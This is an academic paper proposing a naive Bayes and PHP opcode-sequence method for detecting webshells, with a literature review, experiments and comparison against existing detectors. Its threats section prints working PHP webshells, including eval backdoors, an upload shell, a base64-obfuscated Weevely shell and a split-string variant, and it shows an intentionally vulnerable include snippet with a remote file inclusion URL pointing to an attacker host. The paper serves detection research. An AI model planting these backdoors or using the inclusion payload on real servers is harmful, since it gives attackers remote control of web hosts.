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Abstract: A webshell is a command execution environment in the form of web pages. It is often
used by attackers as a backdoor tool for web server operations. Accurately detecting webshells
is of great significance to web server protection. Most security products detect webshells based
on feature-matching methods—matching input scripts against pre-built malicious code collections.
The feature-matching method has a low detection rate for obfuscated webshells. However, with
the help of machine learning algorithms, webshells can be detected more efficiently and accurately.
In this paper, we propose a new PHP webshell detection model, the NB-Opcode (naïve Bayes and
opcode sequence) model, which is a combination of naïve Bayes classifiers and opcode sequences.
Through experiments and analysis on a large number of samples, the experimental results show that
the proposed method could effectively detect a range of webshells. Compared with the traditional
webshell detection methods, this method improves the efficiency and accuracy of webshell detection.
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1. Introduction

With the development of web technology and the explosive growth of information, web security
becomes more and more important. Web vulnerabilities such as SQL injection and XSS attacks [1] are
some of the most common security problems. This kind of attack happens not only to enterprises and
individuals, but also to government organizations. Attackers often exploit vulnerabilities in the system
or web applications to upload a malicious file or malicious code to the webserver. This malicious file is
called a webshell [2]. Once the webshell is executed, it can provide remote attackers with an interface
to operate the server, including command execution, file manipulation, and database connection [3].
A webshell is often used by attackers as a backdoor tool for web server operation and management. If a
webshell file is found in the web system, the attacker can exploit the vulnerability to control the server.
Therefore, accurately and effectively detecting whether files stored on a web server are malicious
webshell files is of great importance to the security of a web server.

There are three traditional webshell detection methods: static detection, dynamic detection, and
traffic log analysis detection [4]. To realize its functions, a webshell must have specific keywords and
malicious functions in the malicious code. Feature-based detection starting from file and code is static
detection. After a webshell runs, it is dynamic detection, which detects the byte-code of a webshell
and its communication behavior. Log analysis detection examines the web logs generated in the
network [5]. If the malicious keywords appear directly, traditional detection methods can be identified
easily. Therefore, attackers use a range of methods to bypass traditional detection, including malicious
function segmentation, Base64 encoding, and other techniques. These traditional webshell detection
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methods are ineffective in detecting webshells that have been obfuscated. In this paper we propose a
model that improves the efficiency and accuracy of webshell detection to overcome such limitations.

The rest of this paper is organized as follows: Sections 2 and 3 provide the background and
literature review about webshell detection. Section 4 presents the methods that an attacker can use to
evade detection. Section 5 proposes a new method to effectively detect webshells using a machine
learning algorithm. Section 6 evaluates and discusses the new approach, before Section 7 concludes
the paper including possible directions for future work.

2. Background

2.1. Webshell

A webshell is a command execution environment written in a scripting language, in the form
of a web page file. In their original design, webshells were used as powerful remote management
tools for administrators to manage their own websites. Because webshells uses the 80-port service,
administrators can manage websites directly through the browser. However, webshells were gradually
exploited by attackers, becoming a tool for attackers to infiltrate websites and servers [6]. The webshell
attack flow chart is shown in Figure 1. First, the attacker uploads a webshell program to the victim’s
server after exploiting weaknesses in the website system such as SQL injection and file upload
vulnerability. The attacker then executes malicious commands through the webshell program to
increase permission levels on the server, and can even invade the internal network system.

Figure 1. Webshell attack flowchart.

Webshells can be written in a variety of programming languages. The majority are still mostly PHP,
but their operation is the same regardless of the language. Operations include accessing directories
and files, connecting to databases, executing system commands, reading system files, and more.
Attackers can then use these features to launch further attacks on the server, including privilege
escalation, port scanning, and intranet penetration.

2.2. Webshell Classification

According to its size and function, each webshell can be classified within three categories: a simple
webshell, an upload function webshell, and a multi-functional webshell, as follows.

1. Simple Webshell
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A simple webshell refers to a webshell that contains only one line of code. This type of code is used
to accept the data submitted by the attacker through the client and perform the corresponding
operations. It is the most common form of webshell. A webshell written in PHP is shown in
Listing 1.

Listing 1: Simple Webshell.

<php
@eval(_POST["a"]);
?>

In this example, the attacker sends a POST HTTP request, passes the command code through
parameter “a”, and executes the malicious operation using the “eval” command. The parameter
“a” is also called the password of the webshell.

2. Upload Function Webshell

The uploading webshell is used as a springboard for multi-function webshell files. Usually, the
website will impose certain restrictions on the size or type of files uploaded. The attacker will
upload this webshell and then use it to upload a multi-function webshell. The key code for the
uploading webshell is in Listing 2.

Listing 2: Upload Function Webshell.

<php
if(isset($_POST["upload"])){
@file_put_contents($_POST["path"],$_POST["content"]);
}
?>

The webshell can write new files to a specified directory and facilitate latent control.

3. Multi-Functional Webshell

The multi-function webshell is usually large and feature-rich, providing functions such as
operating files, port scanning, command execution, and database operations. Due to the large
size of the file, it is usually uploaded to a victim’s server via the upload function webshell.

2.3. Machine Learning

Machine learning is different from the traditional mode of operation. It is a way to work based on
data instead of instructions. In essence, machine learning is a way to use existing data or experience
to derive a rule model and then use the rule model to predict unknown data. Machine learning
involves many fields such as statistics and probability theory, and belongs to the study field of artificial
intelligence [7]. By modeling and analyzing historical data, gaining knowledge about its usage
scenarios can provide guidance to decision makers. Machine learning algorithms can generally be
divided into the following categories:

1. Supervised Learning

The samples in the training set are tagged data, that is, the classification of each sample is known.
The process of the model is to learn the implicit knowledge from the data and predict the samples
of the unknown tags. Typical supervised learning algorithms include K-nearest neighbors, support
vector machines (SVMs), naïve Bayesian algorithms, and decision tree algorithms. This topic
combines webshell detection with machine learning algorithms. Since the webshell file is tagged
during training, it is supervised data. Therefore, this topic mainly studies these classification
algorithms.
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2. Unsupervised Learning

The samples in the training set are unlabeled data; that is, the classification to which each sample
belongs is unknown. Common models have cluster analysis and so on. In the process of model
training, the implicit category information is summarized from the data, which is often used for
the preprocessing of unlabeled data, and then the subsequent supervised learning model training
follows.

3. Literature on Detection Methods

In this section we introduce five different detection methods widely employed to mitigate
webshell attacks.

3.1. Static and Dynamic Detection

This kind of detection method extracts information from keywords, file permissions, file
modification times, file owners, high-risk functions, and other dimensions around the characteristics of
the script file. The detection effect is closely related to the selected features. Shelldetector [8] relies on
many webshell feature libraries to detect cases. D-shield detects webshells by executing functions on
various codes with dangerous functions, such as eval(), assert(), and others [9]. Meng Zheng et al. [10]
extracted web page features based on page attributes and page operations. Page attribute properties
include page length, number of lines of code, and number of comments. Page operation features
include encryption and decryption function calls, system function calls, file operations, and database
operations. Such features are extracted from the webshell and categorized by the support vector
machine (SVM) classifier. Hu et al. [11] developed a detection model based on decision trees.
The model is a supervised machine learning system. It uses the C4.5 decision tree method [12] to judge
the document properties, basic attributes, and advanced attributes. This method can effectively detect
obfuscated webshells. The quality of the feature will directly determine the judgment of machine
learning on a webshell. If there are too many feature attributes, it will be difficult to detect the webshell
with feature obfuscation, and the versatility will be greatly reduced. If the feature attribute is too small,
it will lead to the model being too simple and reducing the accuracy, so how to choose the appropriate
feature attribute is a difficult problem for this method. Ye et al. [13] analyzed the HTML features of
a page and used an SVM-based method for detection. Jia et al. [14] constructed multidimensional
features, comprehensively covering static attributes and dynamic behaviors, and improved random
forest (RF) feature selection methods for detection. However, the features are too complicated. Static
and dynamic feature detection methods are effective for some existing webshells, but not for zero-day
webshells. Due to a high dependence on the feature library, the false positive rate for this method is
significant. For webshells that are obfuscated, the method has problems with features that cannot be
extracted at all. Therefore, static feature detection often needs manual detection as an auxiliary to
complete webshell detection.

3.2. Flow Analysis Detection

The core of this method is to visualize the traffic by establishing a gateway, and then to monitor
the payload network traffic generated during the webshell access process. After a certain amount of
payload accumulation and related rules are formulated, a traffic-analysis-based detection engine is built
up in combination with other detection processes, and then embedded in an existing gateway device
or cloud device to achieve the webshell’s in-depth analysis and detection. Most of the gateway-based
technology detection methods are based on the big data processing model, while the HTTP traffic
is bypassed as mirrored traffic on the core router (or switch). Massive data processing is performed
through a cloud computing platform such as Hadoop. Finally, the restoration of the attack scenario
is achieved. On the other hand, it is also necessary to establish an analytical model of machine
learning, through a certain flow accumulation and model establishment, so that the webshell engine
can automatically analyze and identify abnormal traffic. This way of automatically detecting traffic
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can cause great uncertainty. From the perspective of usability, this detection method can quickly locate
intruders using real-time detection, and recover from the attack scenario [15]. However, the integration
of a Hadoop cloud computing platform and machine learning model is complex, and the cost in terms
of development time is high. It can be deployed in combination with intrusion detection systems
(IDSs).

3.3. Log Analysis Detection

As an analytical tool for forensics and prediction, log analysis reveals complete attacks that
have occurred, are occurring, or will occur in the future [16]. Webshell detection using log analysis
performs event backtracking based on certain attack events and prevents the next attack according to
the characteristics of the first. This kind of method generally models the log, and finds the abnormal
log and attack log. Its essence is the process of extracting and confirming the webshell access log. If the
amount of data is too large, Hadoop can be used for log analysis. Log analysis technology mainly
detects abnormal files from the perspective of text features, statistical features, and page features.
There are also ways to detect webshells by building the request model, which is a lexical analysis
technique.

3.4. Behavior Analysis Detection

Behavioral analysis technology involves the parsing of source code files in the system
environment [17]. Behaviors related to files include their reading and writing, as well their creation
and deletion. Behaviors related to networks include socket monitoring behavior and TCP/UDP/HTTP
request sending (DDOS attack). Procedures involved in reading and writing to the database are
database search, modification, and backup. Behavior related to system configuration includes
modification of the Windows registry and startup configuration. Taking PHP as an example, it can
be performed a behavior analysis on the execution process of PHP scripts. Writing corresponding
extension modules according to its execution mechanism, and then use hook technology to filter and
block related abnormal operation behaviors. This is done by monitoring the underlying application
programming interface (API) calls of the operating system. Another approach is to use honeypot
technology, which puts the site source in a honeypot and then analyzes its behavioral characteristics to
detect anomalies. This method requires a certain language foundation in technology implementation.
When a business runs on a cluster scale, various false positives will occur, but it is undeniable that it
does have certain experimental significance.

3.5. Statistical Analysis

The focus of this technique is on identifying obfuscated webshell based on how webshell scripts
differ from normal files [18]. It mainly involves five features: Information entropy, which uses ASCII
code to measure the uncertainty of a file; The longest word, the length of the string in the normal
file is in line with the English specification. The long string appears to mean that the code is coded
and obfuscated; Index of coincidence, a low coincidence Index indicates that the file is obfuscated;
Sig-Nature, matching feature function and sensitive code; Compression ratio. After a webshell is
obfuscated, it will be larger than a normal file. The essence of such detection involves calculating the
range of statistical characteristics of normal PHP files through statistical methods, before comparing
against files uploaded by users [19]. NeoPI [20] focuses on the identification of obfuscated webshell.
Comprehensive comparison analysis is carried out through parameters such as file coincidence index;
information entropy; longest string; compression ratio; and other features. H et al. [21] detected
obfuscated webshells by extracting four characteristics, namely file coincidence index; information
entropy; variance of the longest string length; and compression ratio. They adopted a naïve Bayes
classifier to detect obfuscated webshells. Compared with other algorithms, the webshell detection
method presented performs well in various classification indexes.
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4. Threats

This section describes methods and technologies used by attackers to prevent or avoid detection
when using malicious webshells. If attackers successfully upload a webshell into a website, then
they have a remote shell enabling them to execute malicious commands. Attackers could download
malicious files and modify or even delete them. After obtaining webshell permissions, depending
on the server permissions, the webshell may only be valid for the current site, and cannot operate
programs of other websites. However, attackers can abuse malicious command execution to scale
their attack, and invade other servers or even the host machine if the server is running under a virtual
environment.

4.1. Plain Webshell

Listing 3 contains two webshell files that are not obfuscated. The attacker can upload malicious
code to the victim’s web server via a web vulnerability. Once the malicious code is successfully
uploaded, the attacker can access the page with the malicious code of the webshell and attack the
victim’s server by executing the code. In the first example, the attacker can perform code execution
on the victim’s server by controlling the “passwd” parameter. For example, the attacker can write
“passwd=system(‘ls’);” via the POST method to traverse the current directory of the victim’s server,
as shown in Figure 2. The attacker can also perform other attack commands. In the second example,
when the attacker inserts the malicious code into the victim’s server, the attacker can flexibly select the
attack function and the attack command. The parameter “0” might be “assert”, “eval”, or “system”,
while the parameter “1” can be the attacker’s carefully constructed attack command. Similarly, with
directory traversal as an example, an attacker can remotely access a page with a webshell and write
“0=assert&1=system(‘ls’);” using the POST method, so that the current directory in the victim’s server
can be utilized to traverse the operation.

Listing 3: Non-Obfuscated Webshells.

<?php
// Example 1
@eval($_POST["passwd"]); // 1st param is the cmd to execute.
// Example 2
@$_POST["0"]($_ POST["1"]); // 1st param is cmd to execute and 2nd is the argument.
?>

Figure 2. Attack example remotely executing the ls command.

Both of these operations are relatively easy to find by administrators and detection tools because
the code includes obvious attack functions such as “assert” and “eval”. Therefore, the threat to the
web server is not serious. The administrator only needs to check the suspicious files frequently and
install a detection tool to scan in the near future.
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4.2. Obfuscated Webshell

One technique employed by attackers is to obfuscate the webshell in order to prevent being
analyzed. By obfuscating sensitive features in a string, it can be inversely mapped to another string.
This escape technique is widely used in various webshells such as Base64, rot13, and other obfuscation
methods [22,23]. We used the plain webshell in Listing 3 to obfuscate malicious code. The attacker
can obfuscate webshell code with tools such as Weevely, an open-source obfuscation tool integrated
in KALI [24]. For example, we can obfuscate the first example of a plain webshell using the Weevely
tool. From Listing 4 we can see that the tool uses obfuscation methods such as Base64. Next, the
attacker only needs to upload the obfuscated webshell code to the victim’s web server. Similarly, the
attacker can submit a malicious POST request such as “passwd = system(‘ls’);”. By executing this
attack command, the attacker can traverse the victim’s web server directory.

Because no malicious functions such as “eval” or “assert” can be observed in the code, the danger
of this method is significantly higher than the plaintext webshell in the first section. Traditional
detection methods are difficult to apply to such obfuscated webshell code. Therefore, in actual attacks,
this attack method is very common.

Listing 4: Webshell obfuscation. The Weevely webshell.

<?php
$fo="UE9";
$bp="TVFt4e";
$jsh="HqhdKTsKCqg==";
$un = str_replace("b","","bsbtbrb_brbepblbabcbe");
$bf="CkqBldqmFsKCRf";
$clh = $un("y", "", "ybyasyey64y_ydyeycyodye");
$nbg = $un("ev","","evcevreateve_evfevuevncevtievon");
$ze = $nbg(’’, $clh($un("q", "", $bf.$fo.$bp.$jsh))); $ze();
?>

4.3. Split Webshell

Since traditional detection methods generally detect high-risk functions, attackers often split and
reorganize the syntax of function calls. For example, in Listing 5, the attacker splits the function “eval()”
into a function and then calls the “func()”. In addition, the “POST” is also split into strings. The
attacker only needs to upload the malicious code to the victim’s web server and execute a POST request:
“passwd=system(‘ls’);”. By executing malicious commands, the victim’s file system can be traversed.
Such traditional detection methods cannot judge whether it is a webshell program by matching against
high-risk functions. Based on this approach, attackers can also make more deformed webshells. This is
an effective way to bypass detection tools and can cause great harm to a victim’s server.

Listing 5: Split Webshell.

<php
function func() {
return "ev"."al";
}
$a = func();
$a(${"_PO"."ST"}["passwd"]);
?>
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4.4. Remote Webshell

To avoid the detection of high-risk functions and parameters used in a single malicious file, a
complete page can be divided into multiple pages for uploading. This approach effectively reduces the
probability of detecting a webshell by reducing the proportion of dangerous functions or parameters
in the main webshell [25].

Program developers typically write reusable functions to a single file, and call this file directly
when a function is needed without having to write it again. The process of calling such a file is generally
referred to as file inclusion. Because of this flexibility, the client can call a malicious file. An attacker
can construct such malicious files for unethical purposes, causing files to contain vulnerabilities.

For example, the webshell could not contain any sign of malicious activities but it could
include remote files where the malicious actions are downloaded under demand. If the PHP
configuration option “allow_url_include” is ON, then the “include/require” function can load remote
files. This vulnerability is called remote file inclusion (RFI). Victims’ web services often use such
“include” functions to include files, as shown in Listing 6. Consequently, attackers can exploit this
vulnerability to upload remote webshells. The attacker just needs to control a public server and embed
webshell files. An attacker’s proof of concept is shown in Listing 7. If the attacker can successfully
access the webshell, they can traverse the victim’s directory as previously mentioned.

Since the webshell is stored on the attacker’s server, such threats are very difficult to detect.

Listing 6: Remote Webshell Example.

<?php
$filename = $_GET[’page’];
include($filename);
?>

Listing 7: Webshell Path.

http://VictimIP//index.php?page=http://attackerIP/webshell.txt

5. Proposed Solution

In order to mitigate the threats described in Section 4, we propose a new approach to effectively
detect webshells. Our approach is based on machine learning algorithms which use PHP opcode
sequences as inputs. The approach takes advantage of machine learning research, proposing a new
detection method based on a term frequency-inverse document frequency (TF-IDF) model and naïve
Bayes algorithms. Since webshell is a text-based scripting language, we can use a natural language
model such as TF-IDF to process the webshell. The three main ideas behind the proposal are:

1. To reduce the interference of webshell confusions and encryption operations on the detection.
File detection is transformed into the detection of opcode sequences.

2. To extract word frequency features from opcode sequences using a TF-IDF model.
3. To apply different machine learning algorithms to detect this dichotomy problem.

The flow chart in Figure 3 is a combination of a machine learning algorithm and an opcode
sequence. Firstly, all sample files are extracted from the opcode sequence [26], and the extracted
opcode sequence is processed by the TF-IDF model. Then, it is randomly divided into a test set and
a training set. The machine learning algorithm is used to generate a classifier. Finally, the test set is
predicted and evaluated.

As detailed in Section 6, compared with the detection based on the original text, the detection
opcode is much more efficient and accurate and the machine learning algorithm overcomes the
weaknesses of the traditional detection methods and existing security tools.
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Figure 3. Process flow.

5.1. Opcode

Our approach uses PHP opcode sequences as the inputs. The opcode is part of a computer’s
instructions, also known as its byte-code. The core idea of the approach is to extract the sequence of
instructions, such as add, echo, and return from the webshell. Since we are using PHP files and the
direct use of bag-of-words and TF-IDF for model training of PHP files will consume a lot of computing
resources, the use of the opcode model for dimension reduction can effectively improve the efficiency
and accuracy of the model. By focusing on the opcodes only, the relevance of operating instructions and
not function names is emphasized. The method can thus be employed to effectively detect encrypted
and confusing codes.

Even to confuse encryption webshell dangerous function, it still can appear at compile time with
normal file to compile the results of different opcode statement. So according to this characteristic,
using the opcode distinguish webshell and normal files, we can convert file detection to opcode
sequence detection [26]. Therefore, compiled byte-code can bypass PHP code that has been obfuscated.
In this paper, we use the PHP plug-in logic extension module Vulcan logic dumper (VLD) compiled
for PHP opcode files [27]. The example listed below is the output of a webshell opcode sequence:

<?php
eval($_POST[CMD]);
?>

If we run the above webshell through VLD, then we can see the opcode output of this PHP code
in Table 1.

Table 1. Dump of the opcode sequences.

# OPCODE

1 FETCH_CONSTANT
2 FETCH_R
3 FETCH_DIM_R
4 INCLUDE_OR_EVAL
5 RETURN
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So, the PHP opcode sequence of the webshell is: “FETCH_CONSTANT”, “FETCH_R” ,
“FETCH_DIM_R”, “INCLUDE_OR_EVAL”, “RETURN”. When training with the machine learning
algorithm, we do not need to know the meaning of an opcode sequence. Since we marked the webshell
file samples, we only need to classify these opcodes.

5.2. Data Preprocessing

Data preprocessing includes file deduplication and opcode acquisition. In our approach, we use
the MD5 value to detect and remove duplicate files. If the MD5 value is the same, the file is considered
to be deduplicated.

Once we have removed deduplicated files, we use opcodes to detect malicious obfuscated files.
Opcode is the intermediate language after PHP script compilation, and its relationship with PHP
is analogous to Java virtual machine (JVM) byte-code’s relationship to Java. It includes operators,
operands, instruction formats and specifications, and data structures that hold instructions and related
information. PHP code execution consists of four phases: (1) lexical analysis, (2) syntax parsing,
(3) opcode compilation, and (4) opcode execution. The compiler will be in phase 3 and an opcode is
bound to the corresponding parameter or function call. Even if the webshell’s dangerous function
is confusingly obfuscated, there will still be an opcode statement that is different from the normal
file compilation result at compile time. Therefore, according to this feature, opcodes can be used to
distinguish between webshells and normal files. To convert the detection of the file into the detection
of the opcode sequence, we use the PHP plug-in logic dumper (VLD) to compile the PHP file opcode.

5.3. Feature Extraction and Representation

Machine learning algorithms cannot be directly applied to text; it is necessary to convert the
opcode feature vector obtained in Section 5.2 to a mathematical form that the algorithm can handle.
Since the object of this proposal is a static PHP file, it will be based on opcodes. To extract the word
frequency, word bag and TF-IDF models are used.

5.4. Word Bag and TF-IDF Models

The word bag model is a feature extraction model applied to the natural language processing
(NLP) domain that does not consider lexical, grammatical, or word-order relationships. A document
can be seen as a bag of independent words, where a dictionary based on words is built, and the
document is represented as a vector based on a dictionary. The model assumes that there is a collection
of documents D containing normal files and webshell files with a total of M documents. All the words
in the document are then extracted to form a dictionary containing N opcode words (N can be selected
according to the actual situation). Each document is then represented as an N -dimensional vector
using a dictionary, and the value of each dimension of the vector represents the number of times
the word appears in the document. With this method, each word or token is called a “gram”, and
a vocabulary of word pairs is a “bi-gram”. This method counts the frequency of occurrence of all
grammars and forms a list of key grammars. Each gram in the list is a feature vector dimension.
The model is based on the assumption that the appearance of the Nth word is only related to the first
N − 1 words, and not related to any other words. The probability of the entire sentence occurring is
the product of the probability of each word. These probabilities can be obtained directly by counting
the number of simultaneous occurrences of N words from the corpus. For Figure 4, we can tokenize
opcode sequences by a 2-gram model.

However, the frequency of words alone cannot reflect their importance. To find the opcode words
that can better summarize the features and distinguish between normal files and webshell, this paper
introduces TF-IDF for further processing after the word-bag model processing. The TF-IDF algorithm
uses the inverse document frequency of the word to correct the word eigenvalues expressed only by
word frequency, based on the TF-IDF value of the word. Words with less distinguishing ability are
filtered out, while important words are retained.
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Figure 4. The webshell attack flowchart.

5.5. Model Training and Validation

Firstly, we traverse all webshell samples and normal samples, and obtain opcode sequences
through VLD, marking the opcode of the webshell file as 1, and the opcode of the normal file as 0.
We then use 2-gram and TF-IDF models to process opcode data and format them into matrix form,
before dividing them randomly into training sets and test sets. The TF-IDF scheme is used to calculate
the weight of each 2-gram opcode in the entire sequence and obtain the processed numerical matrix.
The higher the TF-IDF score, the more important the opcode feature is. The machine learning algorithm
is applied to the training set to obtain the corresponding model data, using the model data to make
predictions on the test set. Later, the prediction effect is verified. The algorithm is instantiated and the
data is trained on the training set to predict the test set.

6. Evaluation

In this section we evaluate the effectiveness of the new proposed method to detect webshells and
malicious files. We describe the bases of the experiments and later we assess the effectiveness of the
proposed approach.

6.1. Experiments

For our experiments we obtained webshell samples from public Github repositories. Some of
them are listed in Table 2. Normal PHP files were collected from open-source PHP projects, including
WordPress, PHP CMS, phpMyAdmin, Smarty, and Yii. The experiment selected 500 webshell samples
and 1200 normal samples as data sources. The opcode sequence was the same, regardless of whether
of not the webshell was obfuscated, ensuring we could detect both obfuscated and non-obfuscated
webshells. Among these 500 samples, 422 webshells could not be detected in the webshell detection
tools that feature malicious code matching, which means these samples were obfuscated by attackers.
The data set was divided into two parts, with an allocation ratio of 3:7. Thirty percent of the dataset
was used to construct a text classifier for the PHP opcode sequence, and the rest was used to train and
test the naïve Bayes (NB) model.
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Table 2. Webshell sample sources.

URL to the Sample Resource

https://github.com/ysrc/webshell-sample

https://github.com/tennc/webshell

https://github.com/xl7dev/WebShell

https://github.com/tdifg/WebShell

https://github.com/malwares/WebShell

https://github.com/xypiie/WebShell

https://github.com/testsecer/WebShell

https://github.com/BlackArch/webshells

Table 3 summarizes all possible situations considered in our experiments. A true positive (TP) is
a prediction that the current page is a webshell, when it is in fact a webshell. A false negative (FN) is
a prediction that the current page is not a webshell, when it actually is. A false positive (FP) is a
prediction that the current page is a webshell, though it is actually not. A true negative (TN) is a
prediction that the current page is not a webshell, and indeed it is not.

Table 3. Classification confusion matrix.

True Class Predicted Result

Webshell Normal Page

Webshell True Positive (TP) False Negative (FN)

Normal Page False Positive (FP) True Negative (TN)

Four criteria were used to evaluate webshell effectiveness. As shown in Equation (1), the precision
rate refers to the correct prediction of the normal PHP page in the actual sample. The ratio of all normal
PHP pages is measured by the ability of the detection model to identify normal PHP pages.

Precision =
TP

TP + FP
(1)

The accuracy (Equation (2)) is the most common evaluation indicator, and is the number of
correctly identified samples divided by all the samples. Generally speaking, the higher the accuracy,
the better the classifier.

Accuracy =
TP + TN

TP + FN + FP + TN
(2)

The recall rate (Equation (3)) is the correct prediction of the number of webshells as a percentage
of all webshells in the actual sample, measured by the detection model’s ability to recognize a webshell.

Recall =
TP

TP + FN
(3)

Finally, the F1 score (Equation (4)) is the comprehensive evaluation. The larger the value, the
better the detection performance. The higher the precision rate and recall rate, the better the detection
capability of the representative model.

F1 =
2 ∗ Precision ∗ Recall

Precision + Recall
(4)

https://github.com/ysrc/webshell-sample
https://github.com/tennc/webshell 
https://github.com/xl7dev/WebShell 
https://github.com/tdifg/WebShell
https://github.com/malwares/WebShell 
https://github.com/xypiie/WebShell 
https://github.com/testsecer/WebShell 
https://github.com/BlackArch/webshells
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6.2. Impact of Max_Features Value on Results

With 500 webshell samples and 1200 normal samples, we set the ngram_range value to (2,2), and
other parameters were unchanged. When setting max_features to 1000, 2500, 5000, 7500, 10,000, 12,500,
17,500, 20,000, 40,000, and 50,000, respectively, we calculated the accuracy rate and recall rate. Figure 5
shows the result of different features.

Figure 5. Impact of max_features value.

It can be concluded from the experimental results that the larger the value of max_features,
the higher the accuracy and recall, but it was not an unlimited increase. When the value was more
than 40,000, the accuracy rate and recall rate had already reached the highest value. Therefore, we
chose the value of 50,000 in the experiment.

6.3. Effectiveness of the Approach

To assess the effectiveness of the proposed approach, we compare the accuracy, precision recall
and F1-score of our naïve Bayes and opcode sequence (NB-Opcode) webshell detection method, against
SVM and RF approaches. Table 4 shows the result of comparing NB-Opcode against the methods used
by SVM and RF. The detection methods based on naïve Bayes and Opcode sequences are superior to
the other two algorithms in terms of accuracy, precision, recall rate and performance; in terms of F1
values.

Table 4. Accuracy, precision, recall, and performance comparison. NB: naïve Bayes; RF: random forest;
SVM: support vector machine.

Method Accuracy (%) Precision (%) Recall (%) F1 Score (%)

NB-Opcode 97.4 97.2 96.8 97.0

SVM 96.0 94.1 95.9 95.9

RF 96.1 89.0 88.2 88.6

In order to provide a complete evaluation of the NB-Opcode approach, a comparison against real
tools is provided. We again used the previous training data to test and compare three popular webshell
detection tools: D-Shield, Webshell Killer, and Web Shell Detector. These three tools support PHP code
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upload detection. After uploading a webshell to determine the effectiveness of these three tools, we
observed a lower detection rate compared with the proposed NB-Opcode approach. In addition, unlike
the NB-Opcode, none of the three detection tools analyzed use the opcode sequence, which ensures
that the detection of obfuscated webshells is almost impossible. Table 5 summarizes the comparison of
the NB-Opcodemethod against the three available products in detecting webshells. It can be seen from
the data in the table that NB-Opcode-based detection method was superior to the other three detection
tools.

Table 5. Comparison with webshell detector tools.

Detector Version Accuracy (%) Precision (%) Recall (%) F1 Score (%)

NB-Opcode - 97.4 97.2 96.8 97.0

Webshell Killer V2.10 88.6 85.9 80.3 83.0

D-Shield V2.1.5.2 92.4 87.9 90.6 89.2

Web Shell Detector V1.1 by Python 84.6 68.2 77.4 75.5

7. Conclusions and Future Work

This paper analyzes the definition and classification of webshells in detail and describes the
characteristics of webshells. Based on this, a webshell detection method based on a naïve Bayes
algorithm and opcode sequence is proposed. The support vector machine and random forest algorithm
detection methods were compared with respect to four aspects: accuracy, precision, recall rate, and
F1 value. The experimental results show that the proposed method had higher indexes in webshell
detection. We also compared three popular webshell detection tools (Webshell Killer, D-Shield, and Web
Shell Detector). Most of the existing security tools are based on feature matching. The experimental
results show that the detection rate of this method compares favorably against these established
security tools.

In the case of the rapid development of threat intelligence, it is difficult to perform comprehensive
detection using a detection method, which leads to the need for traditional detection methods for
auxiliary analysis when detecting in a real environment. In future, traditional detection methods and
machine learning detection methods can be combined to propose a more comprehensive detection
method. The work of this paper nevertheless has some limitations. Webshell sample collection is
difficult, and the number of sample collections was small, resulting in over-fitting of the detection
model. The above questions are the next issues that need to be studied and solved.
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